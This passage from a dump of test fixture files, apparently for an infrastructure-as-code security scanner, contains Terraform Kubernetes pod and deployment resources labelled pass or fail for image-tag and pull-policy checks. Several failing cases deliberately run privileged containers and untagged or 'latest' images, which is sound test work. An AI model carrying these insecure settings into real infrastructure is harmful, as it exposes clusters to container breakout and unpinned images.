}\n}\n\n#latest but specified wrong\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:latest\"\n      image_pull_policy = \"Never\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n#latest but specified wrong\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image             = \"nginx:latest\"\n          image_pull_policy = \"Never\"\n          name              = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#latest but specified wrong\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image             = \"nginx:latest\"\n          image_pull_policy = \"Never\"\n          name              = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#latest so pass\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:latest\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#latest so pass\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:latest\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#latest so pass\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:latest\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#latest so pass\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:latest\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#happy path\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      image_pull_policy = \"Always\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#happy path\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      image_pull_policy = \"Always\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#happy path\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image             = \"nginx:1.7.9\"\n          image_pull_policy = \"Always\"\n          name              = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#happy path\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image             = \"nginx:1.7.9\"\n          image_pull_policy = \"Always\"\n          name              = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#happy path\nresource \"kubernetes_deployment_v1\" \"pass3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image             = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n          name              = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ImagePullPolicyAlways/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ImageTagFixed/main.tf",
    "content": "#not set\nresource \"kubernetes_pod\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_pod_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_deployment\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set\nresource \"kubernetes_deployment_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set modern\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set modern\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#latest\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:latest\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#latest\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:latest\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = 